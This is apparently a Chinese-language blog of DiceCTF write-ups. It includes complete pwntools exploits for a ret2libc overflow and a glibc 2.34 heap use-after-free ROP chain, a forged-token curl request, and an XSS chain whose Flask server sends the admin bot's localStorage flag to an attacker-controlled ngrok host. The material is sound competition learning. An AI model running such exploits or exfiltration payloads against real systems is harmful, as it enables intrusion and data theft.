13 分鐘閱讀

yet another CTF writeups ;)

Intro

這次跟LC0Y一起參加DiceCTF,這次我解了2題web和2題pwn,雖然我解的都不是很難的題目,但學到了不少,所以還是例行公事紀錄一下解題過程

interview-opportunity (pwn)

Overview

C的Pseudocode:

int main(int argc, const char **argv, const char **envp)
{
  char buf[10]; // [rsp+6h] [rbp-1Ah] BYREF
  const char **v5; // [rsp+10h] [rbp-10h]
  int v6; // [rsp+1Ch] [rbp-4h]

  v6 = argc;
  v5 = argv;
  env_setup(argc, argv, envp);
  printf(
    "Thank you for you interest in applying to DiceGang. We need great pwners like you to continue our traditions and com"
    "petition against perfect blue.\n");
  printf("So tell us. Why should you join DiceGang?\n");
  read(0, buf, 0x46uLL);
  puts("Hello: ");
  puts(buf);
  return 0;
}

可以看到題目會read 0x46個bytes到長度為10的buf裡,所以bof之後直接蓋rip來rop就可以了

Solution

基礎到不行的ret2libc,用puts got leak libc之後call system就結束了

solve.py:

#!/usr/bin/env python3

from pwn import *
import sys

exe = ELF("./interview-opportunity_patched")
libc = ELF("./libc.so.6")

context.binary = exe
context.terminal = ["tmux", "splitw", "-h"]


def conn():
    if "d" in sys.argv[1:]:
        context.log_level = "debug"
    if len(sys.argv) > 1 and "l" == sys.argv[1]:
        r = process([exe.path])
    elif len(sys.argv) > 1 and "g" in sys.argv[1]:
        r = gdb.debug([exe.path], "b *main+101")
    else:
        r = remote("mc.ax", 31081)

    return r


def main():
    r = conn()

    rdi = lambda x: p64(0x401313) + p64(x)
    ret = lambda: p64(0x40101a)

    payload1 = b'A' * 26 + p64(exe.bss() + 100) + rdi(exe.got['puts']) + p64(exe.plt['puts']) + p64(exe.symbols['main'])
    assert len(payload1) <= 0x46
    r.sendafter(b'So tell us. Why should you join DiceGang?\n', payload1)
    puts_addr = int.from_bytes(r.recvuntil(b'\nThank you', drop=True)[-6:], byteorder='little')
    info(f'puts addr: 0x{puts_addr:x}')
    libc.address = puts_addr - libc.symbols['puts']
    assert libc.address % 0x1000 == 0
    success(f'libc base: 0x{libc.address:x}')
    success(f'system addr: 0x{libc.symbols["system"]:x}')
    bin_sh_addr = next(libc.search(b"/bin/sh\0"))
    success(f'/bin/sh addr: 0x{bin_sh_addr:x}')

    payload = b'A' * 34 + rdi(bin_sh_addr) + ret() + p64(libc.symbols["system"])
    r.sendafter(b'So tell us. Why should you join DiceGang?\n', payload)

    r.interactive()


if __name__ == "__main__":
    main()

flag:

$ cat f*
dice{0ur_f16h7_70_b347_p3rf3c7_blu3_5h4ll_c0n71nu3}

baby-rop (pwn)

Overview

從沒在比賽當下解過heap,這次算是邊打邊學

在解這題之前,有幾個事情要注意:

  1. 這題是full RELRO,沒辦法GOT hijack
  2. 雖然沒開PIE,但ASLR還是有的,所以stack base還是不固定
  3. 題目用的是glibc 2.34,所以__free_hook__malloc_hook都沒了,沒辦法利用他們
  4. 題目有用seccomp,execve用不了,所以要讀flag需要借助open, read, write

題目有給C的source code:

#include <stdio.h>
#include <stdlib.h>

#include <unistd.h>
#include "seccomp-bpf.h"

void activate_seccomp()
{
    struct sock_filter filter[] = {
        VALIDATE_ARCHITECTURE,
        EXAMINE_SYSCALL,
        ALLOW_SYSCALL(mprotect),
        ALLOW_SYSCALL(mmap),
        ALLOW_SYSCALL(munmap),
        ALLOW_SYSCALL(exit_group),
        ALLOW_SYSCALL(read),
        ALLOW_SYSCALL(write),
        ALLOW_SYSCALL(open),
        ALLOW_SYSCALL(close),
        ALLOW_SYSCALL(openat),
        ALLOW_SYSCALL(fstat),
        ALLOW_SYSCALL(brk),
        ALLOW_SYSCALL(newfstatat),
        ALLOW_SYSCALL(ioctl),
        ALLOW_SYSCALL(lseek),
        KILL_PROCESS,
    };

    struct sock_fprog prog = {
        .len = (unsigned short)(sizeof(filter) / sizeof(struct sock_filter)),
        .filter = filter,
    };

    prctl(PR_SET_NO_NEW_PRIVS, 1, 0, 0, 0);
    prctl(PR_SET_SECCOMP, SECCOMP_MODE_FILTER, &prog);
}


#include <gnu/libc-version.h>
#include <stdio.h>
#include <unistd.h>
int get_libc() {
    // method 1, use macro
    printf("%d.%d\n", __GLIBC__, __GLIBC_MINOR__);

    // method 2, use gnu_get_libc_version 
    puts(gnu_get_libc_version());

    // method 3, use confstr function
    char version[30] = {0};
    confstr(_CS_GNU_LIBC_VERSION, version, 30);
    puts(version);

    return 0;
}

#define NUM_STRINGS 10

typedef struct {
    size_t length;
    char * string;
} safe_string;

safe_string * data_storage[NUM_STRINGS];

void read_safe_string(int i) {
    safe_string * ptr = data_storage[i];
    if(ptr == NULL) {
        fprintf(stdout, "that item does not exist\n");
        fflush(stdout);
        return;
    }

    fprintf(stdout, "Sending %zu hex-encoded bytes\n", ptr->length);
    for(size_t j = 0; j < ptr->length; ++j) {
        fprintf(stdout, " %02x", (unsigned char) ptr->string[j]);
    }
    fprintf(stdout, "\n");
    fflush(stdout);
}

void free_safe_string(int i) {
    safe_string * ptr = data_storage[i];
    free(ptr->string);
    free(ptr);
}

void write_safe_string(int i) {
    safe_string * ptr = data_storage[i];
    if(ptr == NULL) {
        fprintf(stdout, "that item does not exist\n");
        fflush(stdout);
        return;
    }

    fprintf(stdout, "enter your string: ");
    fflush(stdout);

    read(STDIN_FILENO, ptr->string, ptr->length);
}

void create_safe_string(int i) {

    safe_string * ptr = malloc(sizeof(safe_string));

    fprintf(stdout, "How long is your safe_string: ");
    fflush(stdout);
    scanf("%zu", &ptr->length);

    ptr->string = malloc(ptr->length);
    data_storage[i] = ptr;

    write_safe_string(i);

}

// flag.txt
int main() {

    get_libc();
    activate_seccomp();

    int idx;
    int c;
    
    while(1){
        fprintf(stdout, "enter your command: ");
        fflush(stdout);
        while((c = getchar()) == '\n' || c == '\r');

        if(c == EOF) { return 0; }

        fprintf(stdout, "enter your index: ");
        fflush(stdout);
        scanf("%u", &idx);

        if((idx < 0) || (idx >= NUM_STRINGS)) {
            fprintf(stdout, "index out of range: %d\n", idx);
            fflush(stdout);
            continue;
        }

        switch(c) {
            case 'C':
                create_safe_string(idx);
                break;
            case 'F':
                free_safe_string(idx);
                break;
            case 'R':
                read_safe_string(idx);
                break;
            case 'W':
                write_safe_string(idx);
                break;
            case 'E':
                return 0;
        }
    
    }
}


很明顯可以看到free_safe_stringptr->stringptr free完都沒有設成NULL,有UAF

接下來的目標就是透過UAF來任意讀寫,最後ROP來get flag

Solution

這裡方法很多,官方解是:https://hackmd.io/fmdfFQ2iS6yoVpbR3KCiqQ#pwnbaby-rop,差別在於任意讀寫其實在tcache上就能做到了,而我借助了fastbin和unsorted bin,以下主要介紹我比賽時使用的方法(但有點多此一舉一點)和我學到的東西:

首先透過create_safe_string來malloc 7個0x10+0x10(0x20)和0x100+0x10(0x110)大小的chunk,再全部free掉,塞滿tcache

create_safe_string一次會malloc 0x10+0x10(0x20)大小的chunk來存struct,再malloc 指定大小的chunk來存struct的string

再call create_safe_string兩次,一次string的長度用0x100,一次0x200(這個長度不重要),再free掉一個safe_string

這時,由於0x20和0x110大小的tcache都滿了,0x20大小的chunk會進到fastbin,而0x110大小的chunk會進到unsorted bin

接下來,因為fastbin是single-linked list,在glibc 2.32之後受到Safe-Linking的保護,fd會是(pos»12)^ptr的值,

且因為沒有bk,某些user data還是會繼續躺在free chunk裡,也就是說,0x20大小的chunk在free完之後只有struct的length被fd蓋掉,string pointer還在!

如下結果可以看到,struct的length從0x100變成(0x1d49f10»12)^0=0x1d49,但string的pointer還是能用且指向另一塊chunk(unsorted bin):

pwndbg> fastbins
fastbins
0x20: 0x1d49f00 ◂— 0x0
0x30: 0x0
0x40: 0x0
0x50: 0x0
0x60: 0x0
0x70: 0x0
0x80: 0x0
pwndbg> x/4gx 0x1d49f00
0x1d49f00:      0x0000000000000000      0x0000000000000021
0x1d49f10:      0x0000000000001d49      0x0000000001d49f30
pwndbg> x/4gx 0x0000000001d49f30
0x1d49f30:      0x00007f9668c2acc0      0x00007f9668c2acc0
0x1d49f40:      0x4141414141414141      0x4141414141414141

接下來只需要利用read_safe_string來讀取unsorted bin的fd(main_arena+96),就能leak出libc了

又因為fd的值很大,所以還可以讀寫到另一塊chunk中的string pointer!

如下結果可以看到,0x1d4a060就是另一塊0x20的chunk中的string pointer,只需用write_safe_string來替換掉他,就能達到任意讀寫的效果!

pwndbg> x/40gx 0x0000000001d49f30
0x1d49f30:      0x00007f9668c2acc0      0x00007f9668c2acc0
0x1d49f40:      0x4141414141414141      0x4141414141414141
0x1d49f50:      0x4141414141414141      0x4141414141414141
0x1d49f60:      0x4141414141414141      0x4141414141414141
0x1d49f70:      0x4141414141414141      0x4141414141414141
0x1d49f80:      0x4141414141414141      0x4141414141414141
0x1d49f90:      0x4141414141414141      0x4141414141414141
0x1d49fa0:      0x4141414141414141      0x4141414141414141
0x1d49fb0:      0x4141414141414141      0x4141414141414141
0x1d49fc0:      0x4141414141414141      0x4141414141414141
0x1d49fd0:      0x4141414141414141      0x4141414141414141
0x1d49fe0:      0x4141414141414141      0x4141414141414141
0x1d49ff0:      0x4141414141414141      0x4141414141414141
0x1d4a000:      0x4141414141414141      0x4141414141414141
0x1d4a010:      0x4141414141414141      0x4141414141414141
0x1d4a020:      0x4141414141414141      0x4141414141414141
0x1d4a030:      0x0000000000000110      0x0000000000000020
0x1d4a040:      0x0000000000000200      0x0000000001d4a060
0x1d4a050:      0x0000000000000000      0x0000000000000211
0x1d4a060:      0x4242424242424242      0x0000000000000000

接下來再用libc的environ來leak stack base,也就能leak出main的saved rip位置了

最後只需要把rip蓋成orw的ROP chain,就能順利拿flag

summary:

  1. malloc 0x20, 0x110 chunks * 7 (data_storage[0:7])
  2. malloc 0x20, 0x110 chunks, malloc 0x20, 0x200 chunks (data_storage[7], data_storage[8])
  3. free data_storage[0:7]
  4. free data_storage[7]
  5. uaf, leak libc via unsorted bin fd
  6. overwrite data_storage[8]->string to libc.symbols['environ']
  7. read data_storage[8]->string -> leak stack base
  8. overwrite data_storage[8]->string to .bss + 0x100
  9. write flag’s filename into data_storage[8]->string
  10. overwrite data_storage[8]->string to stack base - 320
  11. write flag’s filename into data_storage[8]->string
  12. return to ROP chain -> get flag

solve.py:

#!/usr/bin/env python3

from pwn import *
import sys
import types
from typing import Union

exe = ELF("./babyrop_patched")
libc = ELF("./libc.so.6")
ld = ELF("./ld-linux-x86-64.so.2")

context.binary = exe
context.terminal = ["tmux", "splitw", "-h"]


def conn():
    if "d" in sys.argv[1:]:
        context.log_level = "debug"
    if len(sys.argv) > 1 and "l" == sys.argv[1]:
        r = process([exe.path])
    elif len(sys.argv) > 1 and "g" in sys.argv[1]:
        r = gdb.debug([exe.path], '''
        b *main+361
        # b *free_safe_string+50
        b *main+367
        ''')
    else:
        r = remote("mc.ax", 31245)

    return r


def read(self: Union[process, remote], idx):
    self.sendlineafter(b'enter your command: ', b'R')
    self.sendlineafter(b"enter your index: ", str(idx).encode())
    self.recvuntil(b" hex-encoded bytes\n")
    return [int(x, 16) for x in self.recvuntil(b"\n").strip().split()]


def write(self: Union[process, remote], idx, content: bytes):
    self.sendlineafter(b'enter your command: ', b'W')
    self.sendlineafter(b"enter your index: ", str(idx).encode())
    self.sendafter(b"enter your string: ", content)


def malloc(self: Union[process, remote], idx, size_t, content: bytes):
    assert len(content) <= size_t
    info(f'malloc: {idx}')
    self.sendlineafter(b'enter your command: ', b'C')
    self.sendlineafter(b"enter your index: ", str(idx).encode())
    self.sendlineafter(b"How long is your safe_string: ", str(size_t).encode())
    self.sendafter(b"enter your string: ", content)


def free(self: Union[process, remote], idx):
    info(f'free: {idx}')
    self.sendlineafter(b'enter your command: ', b'F')
    self.sendlineafter(b"enter your index: ", str(idx).encode())


def main():
    r = conn()

    r.malloc = types.MethodType(malloc, r)
    r.free = types.MethodType(free, r)
    r.write = types.MethodType(write, r)
    r.read = types.MethodType(read, r)

    info("Allocating 7 chunks(malloc(0x100)) for us to fill up tcache list later.")
    for i in range(7):
        r.malloc(i, 0x100, bytes([0x41 + i]) * 4)
    info("Allocating the chunk for unsorted bin (A)")
    r.malloc(7, 0x100, b"A" * 0x100)
    info("Allocating a chunk for arbitrary read/write (B)")
    r.malloc(8, 0x200, b"BBBBBBBB")
    info("Fill up tcache list")
    for i in range(7):
        r.free(i)
    info("Free chunk A so it will be added to unsorted bin")
    r.free(7)
    info("UAF")
    leaked = bytes(r.read(7))
    string_addr = int.from_bytes(leaked[280:284], byteorder='little')  # chunk B
    success(f'data_storage[8]->string: 0x{string_addr:x}')
    unsorted_bin_fd = int.from_bytes(leaked[:6], byteorder='little')
    success(f'unsorted bin fd: 0x{unsorted_bin_fd:x}')
    '''
    pwndbg> disass malloc_trim
    ...
    0x000000000009c080 <+32>:    lea    rax,[rip+0x158bd9]        # 0x1f4c60
    '''
    main_arena_offset = 0x1f4c60
    libc.address = unsorted_bin_fd - main_arena_offset - 96  # fd -> main_arena+96

    success(f'libc base: 0x{libc.address:x}')
    success(f'libc environ: 0x{libc.symbols["environ"]:x}')
    success(f'open addr: 0x{libc.symbols["open"]:x}')
    success(f'read addr: 0x{libc.symbols["read"]:x}')
    success(f'puts addr: 0x{libc.symbols["puts"]:x}')
    success(f'exit addr: 0x{libc.symbols["exit"]:x}')
    info("leak stack base")
    r.write(7, leaked[:280] + p64(libc.symbols["environ"]))
    stack_base = int.from_bytes(bytes(r.read(8))[:6], byteorder='little')
    success(f'stack base: 0x{stack_base:x}')
    saved_rip_addr = stack_base - 320  # know this by gdb
    success(f'saved rip addr: 0x{saved_rip_addr:x}')
    r.write(7, leaked[:280] + p64(saved_rip_addr))
    saved_rip = int.from_bytes(r.read(8)[:8], byteorder='little')
    assert saved_rip == libc.address + 0x02d1ca  # know this by gdb
    success(f'saved rip: 0x{saved_rip}')

    info("Write `flag.txt` to .bss + 0x100")
    flag_str_addr = exe.bss(0x100)
    r.write(7, leaked[:280] + p64(flag_str_addr))
    r.write(8, b'./flag.txt\0\0')
    info(f"flag.txt str addr: 0x{flag_str_addr:x}")
    info("Write ROP chain to main's saved rip")
    r.write(7, leaked[:280] + p64(saved_rip_addr))

    rdi = lambda x: p64(0x2d7dd + libc.address) + p64(x)
    rsi = lambda x: p64(0x2eef9 + libc.address) + p64(x)
    rdx = lambda x: p64(0xd9c2d + libc.address) + p64(x)
    flag_addr = exe.bss(0x200)

    payload = rdi(flag_str_addr) + rsi(0) + rdx(0) + p64(libc.symbols["open"])
    payload += rdi(3) + rsi(flag_addr) + rdx(0x100) + p64(libc.symbols["read"])
    payload += rdi(flag_addr) + p64(libc.symbols["puts"])
    payload += rdi(0) + p64(libc.symbols["exit"])

    r.write(8, payload)

    info("return main to ROP")
    r.sendlineafter(b'enter your command: ', b'E')
    r.sendlineafter(b"enter your index: ", b'0')
    flag = r.recvuntil(b'}').decode()
    success(f"flag: {flag}")  # [+] flag: dice{glibc_2.34_stole_my_function_pointers-but_at_least_nobody_uses_intel_CET}
    # r.interactive()


if __name__ == "__main__":
    main()

flag: dice{glibc_2.34_stole_my_function_pointers-but_at_least_nobody_uses_intel_CET}

小插曲是我的exploit一開始在local能動,但remote會炸掉,所以多花了很多時間debug

後來加了一段exit(0)到ROP chain上,remote就順利吐flag了

但我不太清楚原因,如果知道的人還請告訴我!

knock-knock (web)

Overview

來亂的題目…

題目source code的核心在於:

class Database {
  constructor() {
    this.notes = [];
    this.secret = `secret-${crypto.randomUUID}`;
  }

  createNote({ data }) {
    const id = this.notes.length;
    this.notes.push(data);
    return {
      id,
      token: this.generateToken(id),
    };
  }

  getNote({ id, token }) {
    if (token !== this.generateToken(id)) return { error: 'invalid token' };
    if (id >= this.notes.length) return { error: 'note not found' };
    return { data: this.notes[id] };
  }

  generateToken(id) {
    return crypto
      .createHmac('sha256', this.secret)
      .update(id.toString())
      .digest('hex');
  }
}

Solution

一開始看了很久看不出洞在哪,但在local跑起來後就發現問題點了

從題目給的source code可以看到:

    this.secret = `secret-${crypto.randomUUID}`;

crypto.randomUUID沒有執行,竟然是直接把function的string當secret…

所以secret不變,token的值自然就算的出來了

curl 'https://knock-knock.mc.ax/note?id=0&token=7bd881fe5b4dcc6cdafc3e86b4a70e07cfd12b821e09a81b976d451282f6e264'

flag: dice{1_d00r_y0u_d00r_w3_a11_d00r_f0r_1_d00r}

blazingfast (web)

Overview

題目頁面的js:


let blazingfast = null;

function mock(str) {
    blazingfast.init(str.length);

    if (str.length >= 1000) return 'Too long!';

    for (let c of str.toUpperCase()) {
        if (c.charCodeAt(0) > 128) return 'Nice try.';
        blazingfast.write(c.charCodeAt(0));
    }

    if (blazingfast.mock() == 1) {
        return 'No XSS for you!';
    } else {
        let mocking = '', buf = blazingfast.read();

        while(buf != 0) {
            mocking += String.fromCharCode(buf);
            buf = blazingfast.read();
        }

        return mocking;
    }
}

function demo(str) {
    document.getElementById('result').innerHTML = mock(str);
}

WebAssembly.instantiateStreaming(fetch('/blazingfast.wasm')).then(({ instance }) => {    
    blazingfast = instance.exports;

    document.getElementById('demo-submit').onclick = () => {
        demo(document.getElementById('demo').value);
    }

    let query = new URLSearchParams(window.location.search).get('demo');

    if (query) {
        document.getElementById('demo').value = query;
        demo(query);
    }
})

題目給的blazingfast.wasm的c source code:

int length, ptr = 0;
char buf[1000];

void init(int size) {
    length = size;
    ptr = 0;
}

char read() {
    return buf[ptr++];
}

void write(char c) {
    buf[ptr++] = c;
}

int mock() {
    for (int i = 0; i < length; i ++) {
        if (i % 2 == 1 && buf[i] >= 65 && buf[i] <= 90) {
            buf[i] += 32;
        }

        if (buf[i] == '<' || buf[i] == '>' || buf[i] == '&' || buf[i] == '"') {
            return 1;
        }
    }

    ptr = 0;

    return 0;
}

從上面的code可以知道,我們輸入的query會透過wasm過濾掉<>&",然後偶數index的位置會轉成大寫

一開始我的想法是:如果在query輸入padding<xsspayload>,雖然一開始會被偵測到,但如果再次輸入小於padding長度的字元,並再觸發onclick來再次執行mock的話,由於buf中的資料不會被清0,且mock對buf的檢查在padding前就結束了,所以padding後的字元就能繞過檢測!

又因為讀取資料的方式是while(buf != 0),所以xss payload還是會跟著出來,也就能順利xss了!

但很可惜,這是個self xss

於是我就在想,還有什麼辦法可以讓字串的長度發生變化呢?

Solution

之前不知道在哪裡看過,某些unicode的字元在經過大小寫轉換時,會normalize成ASCII,甚至變長

稍微fuzz了一下,確有其事,以下是我fuzz的結果:

fuzz toUpperCase:

let result = "";
for(let i = 0x00; i <= 0x10FFFF; ++i){
    if(i <= "z".codePointAt() && i >= "a".codePointAt()) continue;
    if(i <= "Z".codePointAt() && i >= "A".codePointAt()) continue;
    let f = String.fromCodePoint(i);
    if(f.toUpperCase().codePointAt() <= "Z".codePointAt() && f.toUpperCase().codePointAt() >= "A".codePointAt()){
        result += `| ${i} | ${f} | ${f.toUpperCase()} | ${f.toUpperCase().length} |\n`;
    }
}
console.log(result);

result:

code orig toUpper new length
223 ß SS 2
305 ı I 1
383 ſ S 1
496 ǰ 2
7830 2
7831 2
7832 2
7833 2
7834 2
64256 FF 2
64257 FI 2
64258 FL 2
64259 FFI 3
64260 FFL 3
64261 ST 2
64262 ST 2

Note: toLower的部分我也fuzz了一下,結果如下:

code orig toLower new length
304 İ 2
8490 k 1

所以,假如一開始執行blazingfast.init(str.length);時,str.length比較短,但str.toUpperCase().length變長,就會導致讀超過str.length的字元進buf,所以在最後for (int i = 0; i < length; i ++)檢查是否有被ban掉的字的時候,就能繞過檢測!

e.g. "fflfflffl hihi".length = 8, but "fflfflffl hihi".toUpperCase().length = 14 => index 8之後的字元都不會被檢查到!

於是剩下就簡單了,只需要利用會變長的字元做padding,即可bypass掉檢查

但需要注意的是,讀進buf中的字元全部都是大寫,所以要xss的payload不一定能直接放進去,例如<svg/onload=alert(1337)>就會因為alert變成ALERT導致執行失敗

比賽當下我的直覺是利用tag和uri的netloc對大小寫不敏感的特性,用script tag直接引入我的script來xss,不過賽後才發現只需要要onload的payload做HTMLencode就行了

以下是我比賽時產生payload的script:

exploit.html:

<body></body>
<script>
    const base = 'https://blazingfast.mc.ax/?demo=';
    const host = 'https://c3f8-111-248-84-17.ngrok.io';
    let xss = `<iframe/srcdoc="<\x53cript src=${host}></\x53cript>">`;
    let payload = "".repeat(Math.ceil(xss.length / 2)) + xss
    let url = base + encodeURIComponent(payload)
    console.log(url); // 把結果丟給admin bot
    window.open(url);

</script>

app.py (放彈flag和收flag的script):

from flask import Flask, request

app = Flask(__name__)


@app.route("/")
def home():
    return '''
    top.location = `https://c3f8-111-248-84-17.ngrok.io/f?${encodeURIComponent(top.localStorage.flag)}`
    '''.strip()


@app.route("/f")
def f():
    print(request.args)  # ImmutableMultiDict([('dice{1_dont_know_how_to_write_wasm_pwn_s0rry}', '')])
    return 'hi'


if __name__ == '__main__':
    app.run("127.0.0.1", port=1337)

flag: dice{1_dont_know_how_to_write_wasm_pwn_s0rry}

Summary

DiceCTF我其實去年也有參加,題目還是一如既往的優質(依然被題目電爆)!

這次從解題過程和別人的writeups裡學到了很多js的神奇知識,也學到不少heap的知識,受益良多!